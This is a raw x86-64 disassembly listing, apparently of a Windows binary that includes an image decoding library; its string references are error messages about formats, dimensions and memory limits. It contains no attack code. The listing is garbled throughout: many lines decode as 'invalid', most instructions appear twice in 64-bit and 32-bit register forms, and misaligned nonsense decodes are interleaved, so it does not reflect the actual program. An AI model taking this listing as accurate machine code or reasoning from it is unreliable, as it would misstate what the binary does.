adc r9b, byte [rdi]
adc cl, byte [rdi]
movups xmmword [rsi + 2], xmm0
adc dword [rsi + 2], eax
add ah, byte [rsi - 0x77]
mov word [rsi], ax
mov dword [rsi], eax
invalid
add rsp, 0x58
pop rax
pop rbx
pop rdi
pop rsi
pop r14
ret
test ecx, ecx
je case.0x1400573f7.323
adc al, 0x48
mov eax, edx
mov rax, rdx
imul r8, rcx, 0xc
imul eax, ecx, 0xc
mov edx, 4
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rax
jmp fcn.140004b0a
jno 0x14004736e
sti
invalid
shr ecx, 0x71
jno 0x14004736e
xlatb
sti
inc ebx
ret
push rsi
push rdi
push rbx
ret
sub rsp, 0x80
sub esp, 0x80
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
mov esi, ecx
movabs rax, 0x7ffffffffffffffc
mov rcx, qword [rcx]
invalid
cld
invalid
mov ecx, dword [rcx]
or dword [rbp + rcx*4 + 4], ecx
lea r8, [rcx + rax]
lea eax, [rcx + rax]
add dword [rcx - 0x7d], ecx
clc
invalid
cmp r8, 6
cmp eax, 6
mov r9d, 4
mov ecx, 4
cmovb r9, r8
cmovb ecx, eax
enter 0xffffffffffff8d4c, 5
lea r8, [0x14028bbe8]
lea eax, [0x14028bbe8]
sbb ecx, dword [rax + 0x24]
add byte [rdi + 0x63], cl
movsxd r9, dword [r8 + r9*4]
and al, 0
and al, 0
movsxd r9, dword [r8 + r9*4]
add r9, r8
jmp r9
jmp rcx
rol dword [rcx - 1], 0xe1
jmp rcx
lea rcx, [rsi + 8]
cmp qword [rsi + 0x28], 0
jle 0x140047407
add byte [rdi], cl
test byte [rcx + 1], bh
jns case.0x140042ab7.41
add byte [rax], al
jle 0x140047407
add byte [rdi], cl
test byte [rcx + 1], bh
jns case.0x140042ab7.41
jns case.0x140042ab7.41
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsi, 0x28
lea rax, [rsp + 0x20]
mov qword [rax], rsi
mov dword [rax], esi
lea r9, [rsp + 0x60]
and al, 0x60
invalid
mov qword [r9], rcx
lea rcx, [0x1400453d6]
or dword [rax - 0x73], ecx
or eax, 0xffffdfd5
mov qword [r9 + 8], rcx
mov qword [r9 + 0x10], rax
mov dword [rcx + 0x10], eax
or byte [r9 - 0x77], cl
mov dword [rcx + 0x10], eax
adc byte [r8 - 0x73], cl
lea rax, [0x1400454f6]
add eax, 0xffffe0e6
loopne 0x14004740e
invalid
dec dword [rcx - 0x77]
sbb byte [r8 - 0x73], cl
invalid
mov qword [r9 + 0x18], rax
lea rax, str.Format_error_decoding
lea eax, [0x1401fb380]
lea eax, [0x1401fb380]
add eax, 0x1b3f65
sbb eax, dword [rax]
jmp 0x14004752a
mov r8, qword [rsi + 0x20]
lea r10, [r8 + rax]
lea edx, [rax + rax]
and byte [rbp - 0x73], cl
adc al, 0
lea edx, [rax + rax]
cmp r10, 3
cmp edx, 3
mov r9d, 1
mov ecx, 1
cmovb r9, r10
cmovb ecx, edx
test r9, r9
je 0x140047597
test byte [rax + 1], bl
add dword [rax], eax
add byte [rcx - 0x7d], cl
stc
add dword [rdi], ecx
test dword [rdx + 0x48000001], esi
mov dl, 1
add byte [rax], al
invalid
add byte [rax], al
cmp r9, 1
jne 0x1400475fb
mov dl, 1
add byte [rax], al
mov dl, 1
add byte [rax], al
add rsi, 0x20
add esi, 0x20
add rax, 4
xor r8, rax
cmp r8, 4
mov eax, 2
add byte [rax], al
add byte [rax], al
cmovb rax, r8
cmovb eax, eax
cmp rax, 2
je case.0x14002f63b.331
invalid
pushfq
add eax, dword [rax]
invalid
test byte [rbx + rax - 0x7cb80000], bl
cmp rax, 3
jne 0x14004782b
mov dh, 3
add byte [rax], al
clc
add ecx, dword [rdi]
test dword [rsi + 0x48000003], esi
mov dh, 3
add byte [rax], al
invalid
mov dh, 3
add byte [rax], al
lea rax, str.The_image_format_could_not_be_determined
lea eax, [0x1401fb0f8]
lea eax, [0x1401fb0f8]
jmp 0x140047649
add dword [rax], eax
add byte [rax - 0x7d], cl
add rax, 4
xor rax, qword [rsi + 8]
cmp rax, 4
invalid
add rax, 4
add eax, 4
xor rax, qword [rsi + 8]
xor eax, dword [rsi + 8]
cmp rax, 4
mov ecx, 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
cmovb rcx, rax
lea rax, [0x14028bc00]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
add ecx, eax
add ecx, eax
jmp rcx
lea rax, str.The_Images_dimensions_are_either_too_small_or_too_large
add cl, ch
adc al, byte [rdx]
add byte [rax], al
jmp 0x1400476c4
mov rcx, qword [rsi + 8]
or byte [rax - 0x7d], cl
sar esi, 0x48
cmp rcx, 2
add rcx, 0xfffffffffffffffe
cmp rcx, 2
stc
add bh, byte [rax + 2]
add byte [rax], al
mov eax, 2
cmovb rax, rcx
test rax, rax
ror dword [rax - 0x7b], 0xc0
je 0x1400475f2
and al, byte [rcx]
add byte [rax], al
cmp rax, 1
clc
add dword [rdi], ecx
jne 0x140047642
test dword [rax + 1], ebp
add byte [rax], al
push 0x48000001
lea eax, [0x1401fb3e0]
add eax, 0x1b3eff
lea rax, str.Memory_limit_exceeded
add eax, 0x1b3eff
jmp 0x140047649
add byte [rax - 0x73], cl
or byte [rax - 0x7d], r9b
lea rax, [rsi + 8]
or byte [rax - 0x7d], cl
cmp qword [rsi + 0x28], 0
jle 0x140047516
sub byte [rax], al
add byte [rdi], cl
test byte [rbx + 0x48000000], al
add dword [rax], 0
add byte [rax - 0x7d], cl
invalid
invalid
je 0x140047578
add rsi, 0x28
invalid
lea rcx, [rsp + 0x20]
mov qword [rcx], rsi
invalid
xor dword [rbp + rcx*4 + 0x4c], ecx
and al, 0x60
invalid
lea r9, [rsp + 0x60]
invalid
mov qword [r9], rax
lea rax, [0x1400453d6]
invalid
dec dword [rcx - 0x77]
or byte [r9 - 0x77], cl
invalid
mov qword [r9 + 8], rax
mov qword [r9 + 0x10], rcx
mov dword [rcx + 0x10], ecx
adc byte [r8 - 0x73], cl
add eax, 0xffffdfd7
xlatb
invalid
invalid
invalid
lea rax, [0x1400454f6]
lea eax, [0x1400454f6]
xlatb
invalid
mov qword [r9 + 0x18], rax
sbb byte [r8 - 0x73], cl
add eax, 0x1b3dfe
lea rax, str.Format_error_encoding
lea r8, [rsp + 0x28]
lea eax, [rsp + 0x28]
mov qword [r8], rax
mov eax, 2
mov qword [r8 + 8], rax
or byte [rcx - 0x7d], cl
or byte [rcx - 0x7d], cl
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], r9
mov dword [rax + 0x10], ecx
invalid
jmp 0x1400477ea
add rsi, 8
invalid
mov rcx, rsi
add rsp, 0x80
add esp, 0x80
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
jmp fcn.140193290
invalid
invalid
adc al, 0
xor dword [rbp - 0x7cb7ffec], edi
adc al, 0
add rax, 7
rol byte [rdi], 0x48
cmp dword [rcx], eax
cmp qword [rcx], rax
jne 0x140047760
add byte [rax - 0x73], cl
add eax, 0x1b3dd5
invalid
sbb eax, dword [rax]
lea rax, str.Format_errorUnsupported_errorIO_errorDecoder_limits_exceededInvalid_usageFormat
jmp 0x140047649
lea rcx, [rsp + 0x60]
and al, 0x60
mov qword [rcx], rax
lea rax, [0x1400453d6]
invalid
mov qword [rcx + 8], rax
or byte [r8 - 0x73], cl
add eax, 0x1b3d86
invalid
sbb eax, dword [rax]
lea rax, str.Format_error_encoding
jmp 0x140047630
lea rax, [rsi + 0x28]
lea rcx, [rsp + 0x20]
invalid
sub byte [rax - 0x73], r9b
and al, 0x20
invalid
lea ecx, [rsp + 0x20]
mov qword [rcx], rax
lea rax, [rsp + 0x60]
and al, 0x60
and al, 0x60
mov qword [rax], rsi
lea r8, [0x1400453d6]
fdivp st(7)
dec dword [rcx + rcx*4 + 0x40]
or byte [rax - 0x77], cl
invalid
invalid
xor byte [rbp + rcx*4 + 5], cl
and al, 0xde
fdivp st(7)
or byte [rax - 0x77], cl
adc byte [rax - 0x73], cl
or eax, 0xffffb4d9
lea rcx, [0x140042a9a]
lea ecx, [0x140042a9a]
fnstenv [rdi + rdi*8 + 0x488948ff]
sbb byte [rax - 0x73], cl
mov qword [rax + 0x18], rcx
lea rcx, str.The_encoder_or_decoder_for__does_not_support_the_color_type__
or eax, 0x1b3a74
je 0x140047604
sbb eax, dword [rax]
lea r8, [rsp + 0x28]
mov qword [r8], rcx
mov qword [r8 + 8], 3
add byte [rcx - 0x7d], cl
invalid
and byte [rax], al
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], 2
add byte [rax], al
add byte [rax], al
add cl, ch
cld
jmp 0x1400477ee
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x1b3dbf
add byte [rax], al
lea rax, str.Image_size_exceeds_limit
jmp 0x140047649
lea r8, [rsi + 0x28]
mov qword [rsp + 0x58], r8
mov dword [rsp + 0x58], eax
add rax, 7
cmp rcx, rax
cmp ecx, eax
jne 0x14004779a
lea rax, [rsp + 0x58]
lea rcx, [rsp + 0x60]
and al, 0x60
and al, 0x60
mov qword [rcx], rax
lea rax, [0x1401b7f1a]
add dword [rax - 0x73], ecx
add eax, 0x1708f5
mov qword [rcx + 8], rax
mov dword [rcx + 8], eax
or byte [r8 - 0x73], cl
add eax, 0x1b3b50
lea rax, str.The_decoder_does_not_support_the_format_feature_P
lea r8, [rsp + 0x28]
lea eax, [rsp + 0x28]
and al, 0x28
mov qword [r8], rax
mov eax, 1
jmp case.0x140042ab7.52
lea rax, str.The_following_strict_limits_are_specified_but_not_supported_by_the_opertation:
cmp eax, 0x8d4c001b
and al, 0x28
sbb eax, dword [rax]
lea r8, [rsp + 0x28]
mov qword [r8], rax
mov qword [r8 + 8], 1
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x39], cl
adc byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
rol byte [rcx + 0xf], 0x11
sbb cl, bpl
invalid
add byte [rcx], 0
invalid
mov qword [r8 + 0x10], 8
xorps xmm0, xmm0
movups xmmword [r8 + 0x18], xmm0
jmp 0x1400477ee
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
or byte [rax - 0x73], r9b
and al, 0x20
and al, 0x20
lea rax, [rsi + 8]
lea rcx, [rsp + 0x20]
and al, 0x20
and al, 0x20
mov qword [rcx], rax
lea rax, [rsp + 0x60]
mov qword [rax], rcx
lea rcx, [0x1401b7f1a]
invalid
mov qword [rax + 8], rcx
or byte [rax - 0x73], cl
or eax, 0x1b3c14
lea rcx, str.The_parameter_is_malformed:
lea r8, [rsp + 0x28]
lea eax, [rsp + 0x28]
and al, 0x28
mov qword [r8], rcx
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov qword [r8 + 8], rcx
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rax
adc byte [rcx - 0x77], cl
invalid
invalid
invalid
add byte [rcx - 0x77], cl
adc byte [rcx - 0x77], cl
adc byte [rcx - 0x77], cl
adc byte [rcx - 0x77], cl
mov dword [rax + 0x18], ecx
sbb bl, bpl
sbb bl, ch
jmp 0x1400476e4
xor byte [rax - 0x73], cl
add eax, 0x1b3c25
invalid
cmp al, 0x1b
sbb eax, dword [rax]
lea rax, str.The_end_of_the_image_has_been_reached
and eax, 0xeb001b3c
invalid
sbb eax, dword [rax]
jmp 0x1400476c4
lea rax, str.The_end_the_image_stream_has_been_reached_due_to_a_previous_error
cmp ebx, dword [rbx]
add byte [rbp + rcx*4 + 0x44], cl
invalid
invalid
lea r8, [rsp + 0x28]
and al, 0x28
mov qword [r8], rax
mov qword [r8 + 8], 1
add byte [rax], al
add byte [rcx - 0x39], cl
adc byte [rax], cl
adc byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
rol byte [rcx + 0xf], 0x11
adc dword [rax + 0x18], eax
add byte [rax], al
add byte [rcx - 0x39], cl
adc byte [rax], cl
adc byte [rax], cl
adc byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
rol byte [rcx + 0xf], 0x11
adc dword [rax + 0x18], eax
mov rdi, qword [rdx + 0x20]
adc dword [rax + 0x18], eax
mov rdi, qword [rdx + 0x20]
mov edi, dword [rdx + 0x20]
mov rbx, qword [rdx + 0x28]
mov ebx, dword [rdx + 0x28]
sub byte [rax - 0x77], cl
stc
mov rcx, rdi
mov rdx, rbx
call fcn.140006275
sti
invalid
mov ecx, eax
sti
dec dword [rcx - 0x7bfe4f3f]
mov al, 1
test cl, cl
mov al, 1
test cl, cl
jne 0x1400477fb
add byte [rax], al
cmp qword [rsi + 0x20], 0
je case.0x14002f63b.329
add rsi, 0x20
and byte [rax - 0x73], cl
and al, 0x20
lea rax, [rsp + 0x20]
lea eax, [rsp + 0x20]
mov qword [rax], rsi
lea rcx, [rsp + 0x60]
and al, 0x60
and al, 0x60
and al, 0x60
mov qword [rcx], rax
lea rax, [0x1401fb2f0]
lea r8, [rsp + 0x28]
and al, 0x28
and al, 0x28
sub byte [rcx - 0x77], cl
add byte [rax + 1], bh
invalid
mov qword [r8], rax
mov eax, 1
invalid
add byte [rcx - 0x77], cl
or byte [rcx - 0x7d], cl
or byte [rcx - 0x7d], cl
mov qword [r8 + 8], rax
and qword [r8 + 0x20], 0
invalid
and byte [rax], al
or byte [rcx - 0x7d], cl
invalid
and byte [rax], al
lea rdx, [0x1400454f6]
mov qword [rcx + 8], rdx
mov qword [r8 + 0x10], rcx
adc byte [rcx - 0x77], cl
sbb byte [rax - 0x77], cl
stc
invalid
adc byte [rcx - 0x77], cl
adc byte [rcx - 0x77], cl
sbb byte [rax - 0x77], cl
stc
mov rdx, rbx
jmp 0x1400477f6
invalid
add byte [rcx], dh
shr cl, 0x9b
xor eax, eax
jmp 0x1400477fb
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x60
lea rax, [rsp + 0x60]
lea eax, [rsp + 0x60]
mov qword [rax], rcx
lea rcx, [0x1400453d6]
mov qword [rax + 8], rcx
lea rcx, str.Format_error_decoding
sbb eax, dword [rax]
fdiv st(7), st(0)
dec dword [rax - 0x77]
or byte [rax - 0x73], cl
or eax, 0x1b3bf6
sbb eax, dword [rax]
add byte [rbp + rcx*4 + 0x44], cl
lea r8, [rsp + 0x28]
and al, 0x28
mov qword [r8], rcx
mov ecx, 1
mov qword [r8 + 8], rcx
mov dword [rax + 8], ecx
or byte [rcx - 0x7d], cl
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rax
invalid
mov dword [rax + 0x10], eax
mov qword [r8 + 0x18], rcx
jmp 0x1400477ee
sbb bl, ch
push rsp
lea rax, [rsp + 0x20]
mov qword [rax], rsi
xor byte [rax - 0x73], cl
and al, 0x60
mov qword [rcx], rax
lea rax, [0x1400453ce]
add dword [rax - 0x73], ecx
add eax, 0xffffdc1d
mov qword [rcx + 8], rax
lea rax, [rsp + 0x58]
and al, 0x58
and al, 0x58
and al, 0x58
pop rax
mov qword [rcx + 0x10], rax
lea rax, [0x1401b7f1a]
mov qword [rcx + 0x18], rax
lea rax, str.The_decoder_for__does_not_support_the_format_features
cmp dword [rbx], ebx
invalid
sbb byte [r8 - 0x73], cl
add eax, 0x1b39f8
cmp dword [rbx], ebx
invalid
cmp dword [rbx], ebx
add byte [rbp + rcx*4 + 0x44], cl
lea eax, [rsp + 0x28]
lea r8, [rsp + 0x28]
lea eax, [rsp + 0x28]
mov qword [r8], rax
add byte [rax + 2], bh
mov eax, 2
add byte [rax], al
mov qword [r8 + 8], rax
or byte [rcx - 0x7d], cl
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rcx
mov dword [rax + 0x10], ecx
invalid
add byte [rcx - 0x77], cl
mov dword [rax + 0x10], ecx
adc byte [rcx - 0x77], cl
sbb byte [rax - 0x75], cl
sbb byte [rax - 0x75], cl
mov qword [r8 + 0x18], rax
mov dword [rax + 0x18], eax
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
invalid
and byte [rax - 0x75], cl
push rdx
sub al, ch
call fcn.140006275
jp 0x1400477e3
sti
call qword [rax - 0x7f3b7eb8]
add byte [rax], al
add byte [rbx + 0x5f], bl
nop
add rsp, 0x80
pop rbx
pop rdi
pop rsi
ret
lea rax, [rsp + 0x20]
mov qword [rax], rsi
lea rcx, [rsp + 0x60]
and al, 0x60
and al, 0x60
mov qword [rcx], rax
lea rax, [0x1400453ce]
mov qword [rcx + 8], rax
or byte [rax - 0x73], cl
add eax, 0x1b3887
xchg dword [rax], edi
sbb eax, dword [rax]
or byte [rax - 0x73], cl
add eax, 0x1b3887
xchg dword [rax], edi
sbb eax, dword [rax]
xchg dword [rax], edi
sbb eax, dword [rax]
jmp case.0x140045009.22
invalid
dec dword [rax - 0x77]
or byte [r8 - 0x73], cl
add eax, 0x1b38e3
jrcxz 0x140047883
sbb eax, dword [rax]
jrcxz 0x140047883
sbb eax, dword [rax]
lea r8, [rsp + 0x28]
and al, 0x28
sub byte [rcx - 0x77], cl
add byte [rcx - 0x39], cl
mov qword [r8], rax
mov qword [r8 + 8], 2
or byte [rdx], al
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
and byte [rax], al
add byte [rcx - 0x77], cl
adc byte [rcx - 0x39], cl
mov dword [rax + 0x18], 1
or byte [rdx], al
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
add byte [rcx - 0x77], cl
adc byte [rcx - 0x39], cl
invalid
adc byte [rcx - 0x39], cl
mov dword [rax + 0x18], 1
sbb byte [rcx], al
sbb byte [rcx], al
add byte [rax], al
add cl, ch
jmp 0x1400477ee
jnp 0x140047870
invalid
invalid
movabs rax, 0x7ffffffffffffffc
cld
invalid
invalid
add rax, qword [rcx]
cmp rax, 6
invalid
mov edx, 4
cmovb rdx, rax
add dword [rax - 0x7d], ecx
clc
invalid
lea rax, [0x14028bc10]
and al, 0
movsxd rdx, dword [rax + rdx*4]
add rdx, rax
jmp rdx
jmp 0x1400478c2
xor bl, ch
adc ecx, dword [rax - 0x75]
invalid
invalid
and byte [r8 - 0x75], cl
push rcx
sub bl, ch
or dword [rax - 0x7d], ecx
invalid
invalid
ror dword [rax], 0xe8
std
adc al, 0
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
ret
push rsi
sub rsp, 0x20
mov rsi, rcx
mov rcx, qword [rcx + 0x18]
mov ecx, dword [rcx + 0x18]
mov ecx, dword [rcx + 0x18]
test rcx, rcx
js 0x1400478e2
mov rdx, qword [rsi + 0x20]
call fcn.14006095a
add byte [rax - 0x75], cl
invalid
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
add rsp, 0x20
pop rsi
jmp fcn.14014b0fc
xor byte [rcx - 0x3576b72a], cl
lea r9, [0x1401fa528]
mov ecx, 2
mov r8d, 2
add byte [rax], al
add al, ch
mov ebp, 0x4cffff99
lea eax, [rsp + 0x2e]
add byte [rax], al
add al, ch
mov ebp, 0x4cffff99
lea eax, [rsp + 0x2e]
mov word [r8], si
lea rcx, [0x1401fa540]
mov qword [rsp + 0x20], rcx
add byte [rax - 0x77], cl
and al, 0x20
mov r9d, 2
add al, byte [rax]
add byte [rax], al
mov rcx, rax
call fcn.1401c59a4
nop
add rsp, 0x30
pop rsi
ret
movsx eax, cl
lea rcx, [0x14028a122]
lea ecx, [0x14028a122]
mov al, byte [rax + rcx]
ret
shr al, cl
xor eax, 0x4c0017f5
lea eax, [0x1401fb5a0]
mov ecx, 2
add byte [rax], al
call fcn.1401c6eb0
int3
add ah, cl
leave
je 0x1400479a6
mov qword [rcx], rdx
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], r9
add rsp, 0x58
invalid
pop rax
invalid
ret
lea rax, str.chunk_size_must_be_non_zero
lea rcx, [rsp + 0x28]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
sbb byte [rax - 0x73], cl
adc eax, 0x1b3bcd
call fcn.1401c6e60
int3
hlt
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x2c28
call fcn.1401c5d60
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x2b90], xmm6
mov qword [rbp + 0x2b88], 0xfffffffffffffffe
sub eax, dword [rax]
add dh, bh
invalid
invalid
dec dword [rcx + rcx*4 - 0x73]
cmp byte [rbx], ch
add byte [rax], al
sub eax, dword [rax]
add dh, bh
invalid
cmp byte [rbx], ch
add byte [rax], al
mov qword [rbp + 0x2b20], r8
mov qword [rbp + 0x2b60], rcx
invalid
sub eax, dword [rax]
invalid
test dword [rax], esp
sub eax, dword [rax]
add byte [rax - 0x77], cl
lea esp, [rax + 0x2b]
invalid
sub eax, dword [rax]
invalid
invalid
movzx eax, byte [rbp + 0x2c20]
movabs rsi, 0x8000000000000001
add byte [rax], al
add byte [rax], al
or byte [rax - 0x7d], 0xf8
invalid
ja case.0x140047a7d.7
add byte [rax], al
add byte [rax], al
or byte [rax - 0x7d], 0xf8
invalid
mov r8, rdx
mov eax, edx
mov r12d, dword [rbp + 0x2c18]
mov r13d, dword [rbp + 0x2c10]
invalid
add byte [rbx + rcx*4 - 0x53], al
adc byte [rax + rax], ch
add byte [rdx + 1], ch
push 1
pop rbx
lea rcx, [0x14028bc28]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
mov ecx, r13d
mov qword [rbp + 0x2b78], rcx
add byte [rcx + rcx*4 - 0x1e], al
push 8
pop r14
or byte [rcx + 0x5e], al
push 3
pop r15
movabs rcx, 0x800000000000000a
cmp bh, 0xe0
cmp bh, 0xe0
mov rdi, r8
mov dword [rbp + 0x1080], r13d
mov dword [rbp + 0x29c0], r12d
mov ecx, r13d
mov edx, r12d
call case.0x1400473d4.35
mov qword [rbp + 0x12e0], rax
add byte [rax], al
add byte [rax], al
mov rcx, qword [rbp + 0x2b38]
mov qword [rbp + 0x2230], rcx
add byte [rax + 0x39], cl
enter 0xffffffffffff850f, 0x42
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x53], al
sub al, 1
add byte [rax], al
mov dword [rbp + 0x12c], r13d
mov dword [rbp + 0x130], r12d
add byte [rax], al
xor eax, eax
mov byte [rbp + 0x134], al
xor al, 1
add byte [rax], al
xor al, 1
add byte [rax], al
mov qword [rbp + 0x58], rsi
mov cl, 2
mov byte [rbp + 0x10c], cl
mov qword [rbp + 0x70], rsi
and dword [rbp + 0xa0], 0
and dword [rbp + 0xb0], 0
add byte [rax], al
add byte [rax], al
mov byte [rbp + 0x129], cl
add byte [rax], al
and dword [rbp + 0xd4], 0
and dword [rbp + 0xa8], 0
movsd dword [rdi], dword [rsi]
test al, 0
add byte [rax], al
add byte [rbx + 0xe0a5], al
loopne 0x140047b05
add byte [rax], al
invalid
movsd dword [rdi], dword [rsi]
invalid
movsd dword [rdi], dword [rsi]
test al, 0
add byte [rax], al
add byte [rbx + 0xe0a5], al
loopne 0x140047b05
add byte [rax], al
invalid
mov byte [rbp + 0x136], 4
mov qword [rbp + 0x88], rsi
add byte [rax], al
invalid
test dword [rsi], esi
add dword [rax], eax
add byte [rax + rcx*2], al
mov dword [rbp + 0x88], esi
add byte [rax], al
invalid
and qword [rbp + 0x10], 0
mov qword [rbp + 0x18], r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
adc dword [rbp + 0x20], eax
push rdi
ror byte [rdi], 0x11
and byte [r9 + rcx*4 + 0x75], r9b
xor byte [rdi], cl
adc dword [rbp + 0x38], eax
mov qword [rbp + 0x30], r14
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], r14
and qword [rbp + 0x50], 0
and dword [rbp + 0x50], 0
mov rdx, rdi
mov qword [rbp + 0x140], rdi
mov ebp, 0x140
mov dword [rbp + 0x148], 0x1000001
add byte [rax], al
add dword [rax], eax
add byte [rcx], al
mov word [rbp + 0x137], 0x806
mov cl, 1
add dword [rax + 0x1358d], ecx
add byte [rax + 0x14b8d], cl
add byte [rax + 0x14885], cl
invalid
add dword [rax + 0x1358d], ecx
add byte [rax + 0x14b8d], cl
add byte [rax + 0x14885], cl
add dword [rax], eax
add byte [rdi], cl
movups xmm0, xmmword [rbp + 0x110]
adc byte [rbp + 0x110], al
movups xmmword [rbp + 0x223c], xmm0
movups xmm0, xmmword [rbp + 0x11c]
and al, byte [rax]
add byte [rdi], cl
adc byte [rbp + 0x11c], al
movups xmmword [rbp + 0x2248], xmm0
mov rcx, qword [rbp + 0xd4]
mov qword [rbp + 0x2230], rcx
add byte [rax], al
add byte [rax], al
mov ecx, dword [rbp + 0xdc]
mov dword [rbp + 0x2238], ecx
lea edi, [rax]
and al, byte [rax]
add byte [rbx + 0x1488d], cl
invalid
lea edi, [rax]
and al, byte [rax]
add byte [rbx + 0x1488d], cl
add byte [rax - 0x77], cl
mov qword [rbp + 0x1e30], rdi
lea ecx, [rax + 1]
add byte [rax], al
mov qword [rbp + 0x1e30], rdi
mov rdx, qword [rbp + 0x2230]
mov qword [rbp + 0x1e40], rdx
add byte [rax - 0x77], cl
xchg ebp, eax
invalid
mov edx, dword [rbp + 0x2238]
cmp byte [rdx], ah
add byte [rax], al
mov dword [rbp + 0x1e48], edx
mov edx, dword [rbp + 0x223c]
mov dword [rbp + 0x1e4c], edx
movups xmm0, xmmword [rbp + 0x2240]
movups xmmword [rbp + 0x1e50], xmm0
add byte [rax], al
add byte [rax], al
mov rdx, qword [rbp + 0x2250]
mov qword [rbp + 0x1e60], rdx
mov dword [rbp + 0x1e68], r13d
mov dword [rbp + 0x1e6c], r12d
lodsd eax, dword [rsi]
push 0x4400001e
mov dword [rbp + 0x1e6c], esp
mov dword [rbp + 0x1e70], 0x8060100
mov dword [rbp + 0x1e74], ecx
jo 0x140047c1d
add byte [rax], al
add byte [rcx], al
invalid
and qword [rbp + 0x1e38], 0
and dword [rbp + 0x1e38], 0
movsd dword [rdi], dword [rsi]
cmp byte [rsi], bl
invalid
add byte [rax], al
add byte [rbx + 0x1e78a5], al
add byte [rax], al
invalid
and dword [rbp + 0x1e78], 0
add byte [rax + 0x1e7c85], cl
add byte [rbp - 0x7b], al
in eax, dx
mov byte [rbp + 0x1e7c], al
test r13d, r13d
invalid
je 0x140049711
test r12d, r12d
je 0x140049c11
or al, ch
mov ecx, 0x84000199
add dword [rax], eax
invalid
add dword [rax], eax
test al, al
ror byte [rdi], 0x84
stosd dword [rdi], eax
invalid
add byte [rax], al
ror byte [rdi], 0x84
stosd dword [rdi], eax
invalid
mov ebx, 0x60802
jmp 0x140049c11
movabs rax, 0x8000000000000000
mov rcx, qword [rbp + 0x2b60]
sub eax, dword [rax]
add byte [rax - 0x77], cl
add esi, eax
or byte [r8 + rcx*2], cl
mov eax, 4
add byte [rax], al
add byte [rax + 0x20418948], al
sub eax, dword [rax]
add byte [rax - 0x77], cl
add esi, eax
or byte [r8 + rcx*2], cl
mov eax, 4
add byte [rax], al
add byte [rax + 0x20418948], al
mov byte [rcx + 0x28], 0x10
jmp 0x14004e96e
mov qword [rbp + 0x50], r8
mov qword [rbp + 0x10], rsi
mov dword [rbp + 0x1b10], r13d
sbb eax, dword [rax]
add byte [rax], al
add byte [rax], al
mov dword [rbp + 0x10c0], r12d
mov ecx, r13d
mov edx, r12d
call case.0x1400473d4.35
mov qword [rbp + 0x18e0], rax
mov rcx, qword [rbp + 0x2b38]
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x2750], rcx
cmp rax, rcx
jne 0x14004fd88
add byte [rax], al
add byte [rax], al
lea r8, [rbp + 0x1e30]
mov rax, qword [rbp + 0x2b20]
mov qword [r8 + 8], rax
mov qword [r8 + 0x10], rcx
and qword [r8], 0
and byte [rax], al
mov dword [rsp + 0x20], r12d
invalid
and byte [rax - 0x73], cl
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x2b60]
push rbp
adc byte [rax - 0x75], cl
lea esp, [rax + 0x2b]
add byte [rax], al
mov r9d, r13d
call fcn.140056cd3
add byte [rax - 0x73], cl
adc r8b, r13b
invalid
out dx, eax
add byte [rax], al
jmp 0x14004e96e
mov rsi, rdx
invalid
mov qword [rbp + 0x2b58], r8
mov dword [rbp + 0x29c0], r13d
mov dword [rbp + 0x12e0], r12d
mov r14, r13
out dx, al
mov ecx, r13d
mov r13, r12
in eax, 0x44
mov edx, esp
invalid
in eax, 0x44
mov edx, esp
invalid
call case.0x1400473d4.35
mov qword [rbp + 0x10c0], rax
mov dword [rbp + 0x10c0], eax
mov dword [rbp + 0x10c0], eax
mov rcx, qword [rbp + 0x2b38]
mov qword [rbp + 0x2230], rcx
xor byte [rdx], ah
add byte [rax], al
cmp rax, rcx
jne 0x14004fe24
mov rbx, rsi
mov r9, qword [rbp + 0x2b78]
invalid
add byte [rcx + 0xf], cl
scasd eax, dword [rdi]
invalid
imul rbx, r9
mov rax, 0xffffffffe8287bff
mov eax, 0xe8287bff
mov eax, 0xe8287bff
lea rcx, [rbx + rax]
cmp rcx, rax
ja 0x140048e79
shl r9, 0x20
or r9, 3
invalid
add esi, dword [rcx]
sal byte [rcx], 0xc9
xor eax, eax
xor ecx, ecx
jmp 0x1400498ae
mov rbx, rdx
mov rsi, r8
mov dword [rbp + 0x1080], r13d
lodsd eax, dword [rsi]
adc byte [rax], 0
add byte [rcx + rcx*4 - 0x5b], al
mov dword [rbp + 0x29c0], r12d
mov ecx, r13d
invalid
mov dword [rbp + 0x29c0], r12d
mov ecx, r13d
invalid
jmp 0x128e706d4
mov edx, r12d
call case.0x1400473d4.35
lahf
invalid
